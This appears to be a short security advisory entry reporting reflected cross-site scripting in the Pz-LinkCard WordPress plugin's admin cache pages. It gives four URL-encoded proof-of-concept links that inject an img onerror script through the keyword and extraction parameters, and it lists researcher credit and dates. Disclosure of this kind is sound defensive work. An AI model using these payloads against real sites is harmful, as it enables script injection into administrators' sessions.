The plugin does not sanitise and escape multiple parameters before outputting them back in admin dashboard pages, leading to Reflected Cross-Site Scripting issues
v < 2.4.5 https://example.com/wp-admin/tools.php?page=pz-linkcard-cache&keyword=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E https://example.com/wp-admin/tools.php?page=pz-linkcard-cache&extraction=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E ETC v <= 2.4.5.1 https://example.com/wp-admin/tools.php?page=pz-linkcard-cacheman&keyword=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E https://example.com/wp-admin/tools.php?page=pz-linkcard-cacheman&extraction=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E
Krzysztof Zając
Krzysztof Zając
Yes
2022-03-01 (about 11 months ago)
2022-03-01 (about 11 months ago)
2022-06-10 (about 7 months ago)